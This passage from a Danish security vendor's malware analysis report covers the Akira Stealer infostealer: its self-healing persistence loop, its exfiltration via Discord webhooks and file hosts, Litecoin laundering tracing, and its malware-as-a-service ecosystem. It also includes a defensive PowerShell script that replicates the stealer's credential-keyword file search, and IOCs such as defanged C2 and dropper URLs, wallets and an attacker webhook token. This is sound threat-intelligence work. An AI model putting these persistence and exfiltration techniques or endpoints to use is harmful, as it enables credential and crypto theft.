4. Derfor kan analytikeren ikke genfinde det lokalt:

  • Ingen lokal kopi af linket: Malwaren skriver download_url udelukkende i hukommelsen og sender den over netværket, den gemmer ikke URL'en på disk eller i logfiler.
  • Oprydning af det flygtige staging-område: Umiddelbart efter uploaden kører koden:
    shutil.rmtree(ROOT),
    som sletter alle stagede artefakter, herunder eventuelle midlertidige tekstfiler, fra %TEMP%.
  • Overførsel kun over netværket: Webhook-kaldene (requests.post) sker i hukommelsen, og der oprettes ingen HTTP-logfiler eller poster i browserhistorikken på offerets maskine.

Hvad det betyder for analytikere: Uden live pakkeopsamling, for eksempel et netværks-TAP eller en proxy, på eksekveringstidspunktet er den præcise download_url ikke til at genskabe efter infektionen. Derudover slettes det eksfiltrerede arkiv automatisk fra hostingtjenesten, og det indsnævrer vinduet for forensisk hentning yderligere. Imaging efter infektionen eller værtsbaseret forensisk gendannelse vil ikke afsløre angriberens URL eller loginoplysninger til filværten, for der er ingen artefakter tilbage lokalt.

7.13 Konklusion

astor.py (Akira Stealer v2) er en omfattende, kommercielt distribueret stealer-værktøjskasse. Den kombinerer bred målretning, avanceret anti-analyse, dynamisk styring af infrastrukturen og datatyveri i hele stakken på tværs af loginoplysninger, krypto, systemprofilering og brugerfiler. Modulariteten og stealth kombineret med hurtige reinfektionsmetoder gør den til en af de teknisk mest avancerede stealere, vi har observeret i aktiv brug.

8. Cirkulær eksekveringskæde: en selvhelbredende loop

Et af de teknisk mest avancerede elementer i kampagnen er dens regenerative, cirkulære eksekveringsmodel. Til forskel fra konventionel malware med lineære trin, der går fra dropper til payload og derefter forsvinder, er denne operation konstrueret som en lukket løkke, hvor hver komponent holder øje med de andre.

Den selvhelbredende arkitektur gjorde infektionskæden ikke bare vedholdende, men også autonom. Den kunne genskabe sig selv fuldstændigt efter delvise oprydninger. Så længe én brik var i live, kunne hele malware-økosystemet samle sig selv igen.

8.1 Adfærden trin for trin

  1. Persistensankeret (Updater.exe)Updater.exe er det grundlæggende fodfæste. Den droppes typisk i en startplacering for Windows-brugeren, for eksempel %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, eller registreres via HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Dens opgave er simpel, men kritisk: sikre at main.exe er til stede og starte den lydløst, når brugeren logger på. Mangler main.exe, pakker den arkivet app-64.7z ud igen, fra en temp-mappe eller droppet på ny, og genskaber hele Electron-appstrukturen.
  2. Broloaderen (main.exe)main.exe er den Electron-indpakkede Node.js-applikation. Den viser ingen brugerflade og arbejder helt i baggrunden. Ved kørsel udfører den den indlejrede JavaScript-logik i app.asar med Node.js som runtime-miljø. Abstraktionslaget kobler kernelogikken fra PE-stubben og hjælper med at undgå traditionel analyse.
  3. Eksekveringsorkestratoren (jscryter.js) Indlejret i app.asar er dette infektionskædens egentlige styreenhed. Dens hovedfunktioner er:
    • At tjekke, om Updater.exe er til stede, og udrulle den igen, hvis den mangler
    • At injicere konfiguration ved kørsel dynamisk: webhook-URL'er, C2-adresser, tokens
    • Enten at kalde den Python-payload, der allerede ligger der (astor.py), eller hente den som del af et ZIP-bundt, for eksempel pyth.zip, fra angriberstyret infrastruktur
  4. Eksekvering af payloaden (astor.py) Så snart den udløses, kører astor.py i hukommelsen via python.exe. Den indsamler systematisk gemte loginoplysninger, cookies, Discord-tokens, browserens sessionsdata og udvidelser til kryptovalutawallets. Dataene stages i et ZIP-arkiv og eksfiltreres via HTTPS, oftest til Discord-webhooks, men fallback-API'er som gofile.io eller specialbyggede C2-endpoints er også observeret.
  5. Løkkens integritet og selvhelbredelse Designet er cirkulært. Slettes Updater.exe, bliver den udrullet igen. Mangler main.exe, pakker Updater.exe den ud af app-64.7z igen. Slettes astor.py, henter JavaScript-laget den igen. Den gensidige afhængighed gør malwaren modstandsdygtig og i stand til at rekonstruere sin eksekveringskæde ud fra så godt som enhver overlevende rest.

Arkitekturen er ikke bare modulær, den er selvopretholdende, bevidst konstrueret til stealth, fleksibilitet og langvarig overlevelse i målmiljøerne.

8.2 Derfor er det bemærkelsesværdigt

Kampagnens arkitektoniske design afspejler et niveau, man normalt ikke ser i masseproducerede infostealere. Det rækker ud over simple loadere i flere trin, dette er malware konstrueret til driftsmæssig robusthed, stealth og automatisering.

Centrale kendetegn

  • Fuld autonomi Når først malwaren er udrullet, kræver den ingen brugerinteraktion og ingen ekstern genaktivering. Den opfører sig som en ondsindet mikrotjeneste, der orkestrerer sin egen persistens, eksekvering af payloads og reparationsrutiner uden ekstern styring.
  • Eksekveringsstak på flere sprog Værktøjskæden samler:
    • PE-binærfiler (Updater.exe, main.exe)
    • Node.js / JavaScript (via Electron)
    • PowerShell (bruges til obfuskeret relæ af payloaden)
    • Python (astor.py, kørt som hukommelsesresident stealer) Den lagdelte sammensætning gør det sværere at profilere, fingeraftrykke og analysere med konventionelle statiske værktøjer.
  • Omgåelse af forsvaret som designprincip Hver komponent er kodet, krypteret eller dynamisk injiceret:
    • Base64-relæ i PowerShell
    • AES-krypteret og GZIP-komprimeret Python-kerne
    • Obfuskeret JavaScript med injektion af tokens ved kørsel
    • Selvhelbredende adfærd, der besværliggør delvis fjernelse
  • Intet enkelt fejlpunkt Malwarens selvreparerende logik sikrer, at det ikke er nok at fjerne en enkelt komponent. Fjernes Updater.exe, genskaber infostealeren den. Slettes astor.py, hentes og udrulles den igen af JavaScript-styreenheden.

Kort sagt opfører malwaren sig mere som et distribueret system end en typisk payload, et system der prioriterer overlevelse, modularitet og stealth.

Det løfter truslen fra et opportunistisk angreb til en robust, tilpasningsdygtig platform, og det kræver, at forsvarere møder kompleksiteten med lige så lagdelte strategier for detektion og respons.

8.3 Konsekvenser for blue teams

For forsvarere og CSOC-operatører hæver den slags arkitektur barren:

  • Delvis oprydning virker ikke. Alle knudepunkter skal identificeres og fjernes samtidig.
  • Korrelation i Defender for Endpoint er afgørende. Analytikere skal spore hele kæder: fra Updater.exe → cmd.exe → powershell.exe → python.exe.
  • Persistens uden IOC'er betyder, at hukommelsesbaseret heuristik, baselining af telemetri og kædebaseret detektion er nøglen.

Dette er ikke bare en stealer. Det er en robust malwareplatform, der opfører sig mere som et distribueret system end en simpel trussel. Og det er præcis det, der gør den både imponerende og farlig.

9. Blockchain-sporing og analyse

9.1 At spore pengestrømmene i en Litecoin-baseret malwarekampagne

Under reverse engineering-fasen af denne malwarekampagne udtrak vi flere hardkodede wallet-adresser, som stealeren brugte til at eksfiltrere kryptovaluta. Ved at følge on-chain-aktiviteten for disse Litecoin-wallets kunne vi afdække mønstre, der tyder på bevidst hvidvask. Den angriberstyrede wallet LW6EopiZ... fungerer som et centralt samlingspunkt. Midler, der er stjålet fra flere offre, ledes ind på denne adresse, hvorefter de hurtigt fordeles videre til flere nye adresser.

Adfærden her er typisk for det klassiske split-transfer-mønster, der bruges i crypto tumbling eller mixing. I hvert tilfælde deles hele den indgående saldo i to nogenlunde proportionale udgående transaktioner, hver sendt til en anden wallet. Strategien er tænkt til at besværliggøre address clustering og chain tracing ved at sløre midlernes oprindelse. Det er en effektiv taktik til at undgå detektion fra automatiserede platforme til blockchainanalyse og threat intelligence.

Hvidvasken udnytter en kombination af transaktionernes timing, præcis opdeling af beløb og minimeret genbrug af adresser for at omgå de heuristikker, clustering-algoritmer typisk bruger, for eksempel dem i GraphSense, Chainalysis eller TRM Labs. Formålet er at skabe transaktionsstrømme med høj entropi, som forvirrer attribueringen og bryder sammenhængen, især når midlerne til sidst broes over til andre aktiver eller byttes til privatlivsorienterede coins.

I eksemplet nedenfor viser vi en struktureret delmængde af adfærden. De indgående transaktioner er separate overførsler fra offre. Værdierne matcher derefter præcist de udgående strømme, og det viser, hvordan coins "vaskes" gennem hurtige, forudsigelige og algoritmisk opdelte udbetalinger.

Kilde til input Dato for input Beløb ind (LTC) → Angriberens wallet Udgående adresser Samlet ud (LTC)
Input_1 2024-09-21 0.25339198 LLQtaBnSAF... - LZmHkgkED... (0.15579078, 2024-09-26)
- M8JpDsw5H7... (0.09760120, 2024-09-26)
0.25339198
Input_2 2024-04-16 1.09976044 LLQtaBnSAF... - LgWrCAF8ED... (0.84304664, 2024-06-13)
- LgWrCAF8ED... (0.25671380, 2024-06-13)
1.09976044
Input_3 2024-03-06 0.77089346 LLQtaBnSAF... - LZL3wQcSRP... (0.38544673, 2024-03-04)
- M8kiBpVHG3... (0.38544673, 2024-03-04)
0.77089346
Input_4 2024-03-06 0.77089346 LLQtaBnSAF... - LUFLTrqYpix... (0.38544673, 2024-03-04)
- La22dfH9eM... (0.38544673, 2024-03-04)
0.77089346

10. Inde i Akira-økosystemet – kommercialiseret cyberkriminel infrastruktur

Akira er ikke bare en stealer, den er midtpunktet i et blomstrende undergrundsøkosystem, der er bygget til at forenkle, skalere og tjene penge på cyberkriminalitet.

10.1 Et plug-and-play-økosystem for trusselsaktører

Akira-økosystemet er et eksempel på, hvordan cyberkriminalitet har udviklet sig til en professionaliseret, servicedrevet økonomi. Det omfatter:

  • Builder-bots til generering af payloads efter behov (for eksempel @AkiraRedBot)
  • Telegram-kanaler til opdateringer, ønsker om nye funktioner og kundesupport
  • Automatiseret håndtering af licenser og betaling, ofte via direkte beskeder eller anonyme e-handelsplatforme som Sellix
  • Medfølgende moduler som clipboard hijackers, Discord token loggers, browser data stealers og endda ransomware-tilføjelser
  • Payloads, der kan tilpasses, med konfigurationsflader til at slå funktioner til og fra, indtaste webhooks og give payloaden sit eget ikon

Akira Stealer

10.2 Kommercialiseringen af cyberkriminalitet

Akiras opbygning afspejler en bredere bevægelse mod "Malware-as-a-Service" (MaaS), hvor:

  • Der ikke kræves dybe tekniske færdigheder for at sætte angreb i gang
  • Adgangsprisen er lav ($75 for 3 måneder, $150 for livstid)
  • Support og dokumentation er der med det samme via Telegram
  • Bidrag fra fællesskabet løbende udvider Akira med scripts og forslag til funktioner

Økosystemet spejler legitime SaaS-forretningsmodeller, med changelogs, forbedret brugeroplevelse, prisniveauer og opsalg.

Akria Stealer

10.3 Ud over stealeren – økosystemets komponenter

astor.py er hjertet i mange angreb, men økosystemet leverer en komplet kæde:

  • Obfuskeringsværktøjer som PyInstaller-wrappers
  • File binders, der kobler ondsindede payloads sammen med harmløs software
  • Compilers, crypters og polymorfi ved kørsel
  • Hosting-spejle til levering af payloads og eksfiltrering (for eksempel GoFile og AnonFiles)
  • Datahåndteringsbots, der sammenfatter stjålne loginoplysninger og hardwareprofiler

Akira Bot

11. Akira Stealer QuickCheck: berørte filer

11.1 Hvad skal det bruges til?

Efter en mistænkt infektion med Akira Stealer er det afgørende med det samme at vide, hvilke filer på systemet der var i risiko for at blive eksfiltreret. QuickCheck-PowerShell-scriptet nedenfor gengiver Akiras præcise søgelogik: det scanner brugerens mapper Desktop, Documents, Downloads og OneDrive for filer, der:

  • Indeholder følsomme nøgleord i filnavnet, for eksempel password, wallet, backup eller token
  • Har bestemte filtyper, som ofte er mål (.txt, .docx, .pdf, .jpg osv.)
  • Ligger under grænsen på 2 MB, som malwaren arbejder med

QuickCheck giver et hurtigt overblik baseret på Akira Stealers interne logik, men den erstatter ikke fyldestgørende forensiske værktøjer eller professionel incident response. Følg altid op med en dybere analyse, når der er tale om bekræftede sikkerhedsbrud.

Derefter viser den en sorteret tabel med Filename, Relative Path, Size (KB) og det nøgleord, der udløste fundet.

ANSVARSFRASKRIVELSE Værktøjet stilles til rådighed "as is" uden nogen garanti for fuldstændighed eller egnethed til et bestemt formål. Det garanterer ikke, at alle potentielt følsomme filer bliver fundet, og det erstatter heller ikke fuld malware-forensik. Brug det på eget ansvar.

Juridisk information

QuickCheck-værktøjet er udelukkende tænkt til vurderinger inden for defensiv sikkerhed. Enhver uautoriseret scanning eller brug på systemer, du ikke selv ejer, kan være i strid med lovgivning om privatliv, ophavsret eller datamisbrug. glueckkanja AG påtager sig intet ansvar for misbrug eller skader som følge af brugen.

PowerShell-script

<#
.SYNOPSIS
    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.

.DESCRIPTION
    Scans Desktop, Documents, Downloads and OneDrive for files that:
      • Contain one of the defined keywords in their name
      • Have an allowed file extension
      • Are not larger than 2 MB
    Presents the results in a colored, tabular overview.

.NOTES
    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>

# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
    "$env:USERPROFILE\Desktop",
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Downloads",
    "$env:USERPROFILE\OneDrive"
)
$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize    = 2MB

# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()

foreach ($folder in $scanFolders) {
    if (-not (Test-Path $folder)) { continue }
    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
        # 2.1 Extension filter
        if ($extensions -notcontains $_.Extension.ToLower()) { return }
        # 2.2 Size filter
        if ($_.Length -gt $maxSize) { return }

        # 2.3 Keyword filter: explicit loop to avoid null-method calls
        $hit = $null
        foreach ($kw in $keywords) {
            if ($_.Name.ToLower().Contains($kw)) {
                $hit = $kw
                break
            }
        }
        if (-not $hit) { return }

        # 2.4 Build relative path
        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)

        # 2.5 Collect
        $matches.Add([PSCustomObject]@{
            FileName    = $_.Name
            Location    = $rel
            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
            Keyword     = $hit
        })
    }
}

# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan

if ($matches.Count -gt 0) {
    $matches |
        Sort-Object Location, FileName |
        Format-Table -AutoSize `
            @{Label='File';       Expression={$_.FileName}},
            @{Label='Location';   Expression={$_.Location}},
            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},
            @{Label='Keyword';    Expression={$_.Keyword}}

    Write-Host "`n⚠️  Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
    Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}

Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray

12. Mere end respons – sådan forvandler glueckkanja CSOC hændelser til indsigt

De fleste security operations centers stopper ved inddæmningen. Det gør vi ikke.

Hos glueckkanja CSOC ser vi ikke incident response som målstregen, men som startpunktet.

Når andre erklærer sejr og går videre, graver vi dybere. For os er hver hændelse en anledning til at lære, tilpasse os og blive stærkere. Vores utrættelige nysgerrighed, drevet af mange års dyb forensisk erfaring og evne til reverse engineering, sikrer, at vi ikke bare forsvarer, vi forudser.

Den tilgang er grunden til, at vi byggede Akira Compromise Reporter.

Dette internt udviklede forensiske værktøj rækker langt ud over almindelig detektion. Det bruger vores indgående kendskab til Akira Stealer til at give fuld klarhed over, hvilke data der er kompromitteret. Inden for få minutter leverer det et præcist og handlingsanvisende øjebliksbillede af hændelsens fulde omfang:

  • Præcis hvilke loginoplysninger, tokens og browsersessioner der blev stjålet.
  • Nøjagtigt hvilke kryptowallets, beskedkonti og filer der blev eksponeret.
  • En klar, struktureret og detaljeret forensisk rapport, der forvandler usikkerhed til hurtig og velinformeret handling.

Akira Compromise Report

For hos glueckkanja måler vi ikke kun succes på, hvor mange trusler vi blokerer, men på den klarhed vi skaber. Cybersikkerhed, gjort rigtigt, handler ikke om blot at reagere på hændelser, det handler om at forstå, tilpasse sig og altid være et skridt foran.

Det er forskellen ved glueckkanja CSOC.

13. Indicators of Compromise (IOCs)

Nedenfor følger en omfattende, ordret samling af IOC'er, udtrukket direkte fra malwarekoden under vores interne reverse engineering hos glueckkanja CSOC. Der er ikke brugt antagelser eller eksterne threat intel-kilder, alle indikatorer er bekræftede fund. Alle URL'er er bevidst obfuskerede for at forhindre utilsigtede klik.

Forkortelser:

  • TG: Telegram-rapporteringskanal
  • Alt: Alternativt endpoint (fallback)

1. Domæner og URL'er

Kategori Obfuskeret URL Beskrivelse
Primær injektion https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php Angriberens indledende webhook-endpoint
Injektion via fallback https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php Alternativt injector-endpoint
Fejlrapportering (TG) https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php URL til fejl- og lograpportering via Telegram
Fejlrapportering (Alt) https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php Alternativ URL til fejl- og lograpportering
Vanity-bot (TG) https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php Endpoint til notifikation om vanity-adresser
Vanity-bot (Alt) https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php Alternativt endpoint til vanity-notifikation
Exodus-injektion https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar Electron-appmodulen Exodus
Atomic-injektion https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar Electron-modulen AtomicWallet
Download af Updater https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe Eksekverbar dropper til persistens
Gofile API-liste https[:]//api.gofile[.]io/servers Henter den bedste GoFile-uploadserver
Tjek af Discord-token https[:]//discordapp[.]com/api/v9/users/@me Validerer et stjålet Discord-token
Discords faktureringsoplysninger https[:]//discord[.]com/api/users/@me/billing/payment-sources Henter betalingsmetoder
Replay af Google OAuth https[:]//accounts[.]google[.]com/oauth/multilogin Replayer stjålne Google-sessionstokens
IP-tjek (hosting) http[:]//ip-api[.]com/line/?fields=hosting Detektion af hostingmiljø
IP-opslag (geo) http[:]//ip-api[.]com/json/{ip} Geolokalisering ud fra IP
Hentning af offentlig IP https[:]//api[.]ipify[.]org Henter den eksterne IP-adresse
Upload til File.io https[:]//file[.]io/ Sekundær eksfiltreringskanal
Upload til Oshi.at http[:]//oshi[.]at/ Tertiær eksfiltreringskanal
JS-dropper, primær https[:]//rentry[.]co/7vzd22fg36hfdd33/raw Fjernreference til den egentlige ZIP-URL
JS-dropper, fallback 1 https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip Alternativ ZIP med payload
JS-dropper, fallback 2 https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip Sekundær fallback-ZIP med payload

2. Kryptovaluta-adresser

Valuta Adresse
BTC bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt
ETH 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5
DOGE DACeoqWDPmNARSZAeDZPFwqwecbByaksmd
LTC LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH
XMR 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D
BCH qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs
DASH XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1
TRX TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK
XRP r36AwwhUH7BRujevi5mukbDrG46KGbTk8V
XLM GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33

3. Registry-nøgler og stier

Registry-sti Formål
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc Tjekker efter signatur fra en virtuel GPU-driver
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName Tjekker efter udbydernavn på en virtuel GPU
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (værdien Realtek Audio) Persistens via Run-nøglen (Updater.exe)
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe Eksekverbar fil til persistens

5. Filer og hashes

Filnavn SHA256 Størrelse (bytes)
app-64.7z 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 63936274
main.exe C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B 162036224
jscrypter.js 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF 1429
obf.js 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 30138
input.js E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 7155
package.json 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 211
astor.py 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 205210
exodus.asar 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB 132486332
pow.bat 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 28454
download.dat C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B 21142
pyth.zip E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 32375391
Updater.exe 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 37652937

5. Discord- og Telegram-identifikatorer

Kategori Værdi
Discord Webhook ID 1226766972675428372
Discord Webhook Token BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz
Telegram ID 5035121855

14. Tilbageblik på Akira Stealer-hændelsen: styrk jeres forsvar med glueckkanja CSOC

Gennem hele dette indlæg har vi gennemgået, hvor avanceret Akira Infostealer er, en fremskreden cybertrussel kendetegnet ved målrettet tyveri af loginoplysninger, lydløs dataeksfiltrering og vedholdende metoder til at omgå traditionelt forsvar. At forstå, hvordan malwaren fungerer, hvilke risici den medfører, og hvilke svagheder den udnytter, er afgørende for at bygge en robust cybersikkerhedsstrategi.

Akira Infostealer går målrettet efter følsomme data som loginoplysninger, browsersessioner, kryptowallets, beskedtjenester og filer, der tilhører personen eller organisationen. Dens kalkulerede og præcise metoder kræver mere end almindelige sikkerhedsforanstaltninger, de kræver løbende overvågning, dybdegående forensisk analyse og proaktiv threat intelligence.

Hos glueckkanja CSOC bruger vi vores dybe tekniske erfaring og avancerede analysekapacitet til at nå videre end almindelig detektion. Vores specialiserede team overvåger trusler i realtid døgnet rundt fra vores dedikerede CSOC-servere, og det gør det muligt at identificere, undersøge grundigt og effektivt neutralisere trusler som Akira Infostealer med det samme.

Men vores arbejde stopper ikke ved incident response. Hver opdaget hændelse beriger vores vidensgrundlag, styrker vores sikkerhedsniveau og sikrer, at vi bliver flere skridt foran fremtidige trusler. Med glueckkanja CSOC får du mere end beskyttelse, du får en tilpasningsdygtig sikkerhedspartner, der er forpligtet på jeres modstandskraft på lang sigt.

Tag det næste skridt i sikringen af jeres organisations digitale aktiver.

Kontakt glueckkanjas cybersikkerhedseksperter i dag, så sikrer vi proaktivt jeres fremtid sammen.

Styrk jeres forsvar med glueckkanja CSOC.

15. Sikkerhedsmæssig og juridisk ansvarsfraskrivelse – brug af ægte malwarekode

Denne publikation indeholder detaljeret teknisk indsigt, heriblandt kodeudsnit og adfærdsanalyser, der stammer fra faktisk skadelig software, som blev fundet under incident response og forensiske undersøgelser. Formålet med at dele oplysningerne er udelukkende oplysende og skal hjælpe professionelle forsvarere med at forstå, opdage og reagere mere effektivt på trusler fra den virkelige verden. Vi udgiver dette i god tro og med ønsket om at bidrage til sikkerhedsfællesskabet bredt set.

Det er vigtigt at bemærke, at dele af den medtagne kode stammer fra trusselsaktørers værktøjskasser og fra malwaresamples, der cirkulerer i naturen. Fragmenterne er ikke vores immaterielle ejendom, og de skal heller ikke betragtes som sikre, rensede eller på anden måde "harmless". Vi fraråder udtrykkeligt at reproducere eller anvende den slags kode i drift. Læsere skal forstå, at materialet tjener et forsknings- og oplysningsformål, men i sig selv har en risikoprofil, der ikke bør undervurderes.

Kun uddannede fagfolk, der arbejder i juridisk godkendte miljøer, for eksempel akkrediterede sikkerhedsteams, SOC-enheder, akademiske forskere eller malwarelaboratorier, bør arbejde med de beskrevne teknikker eller den beskrevne kode. Alle forsøg skal foregå i isolerede systemer uden for produktion og overholde gældende lovgivning, interne retningslinjer og etiske standarder.

Vi yder ingen support eller validering af reproduceret kode eller adfærd. Der er ingen garanti for nøjagtighed, relevans eller fuldstændighed. Derudover afviser vi udtrykkeligt enhver brug af indholdet til offensive formål, uautoriseret red teaming, kommerciel malwareudvikling eller adversarial testing uden for et juridisk defineret omfang. Enhver misbrug kan have retlige konsekvenser. glueckkanja AG fraskriver sig ethvert ansvar for direkte eller indirekte skader, der opstår som følge af brug eller fejltolkning af indholdet.

Ved at læse videre i eller henvise til indholdet bekræfter du ovenstående og accepterer ikke at misbruge, replikere eller anvende nogen del af det i ulovlige eller uetiske sammenhænge. Er du i tvivl, så rådfør dig med jeres juridiske afdeling, compliance-afdeling eller databeskyttelsesansvarlige, før du kaster dig over analyse af levende kode eller lignende teknisk materiale.

Denne publikation stilles til rådighed "as is", uden garanti, support eller ansvar.

Tag kontakt nu

Som førende Microsoft Security MSSP beskytter vi hver dag virksomheder mod cybertrusler. Lad os tage en snak og styrke jeres cyberforsvar sammen.

Lignende indlæg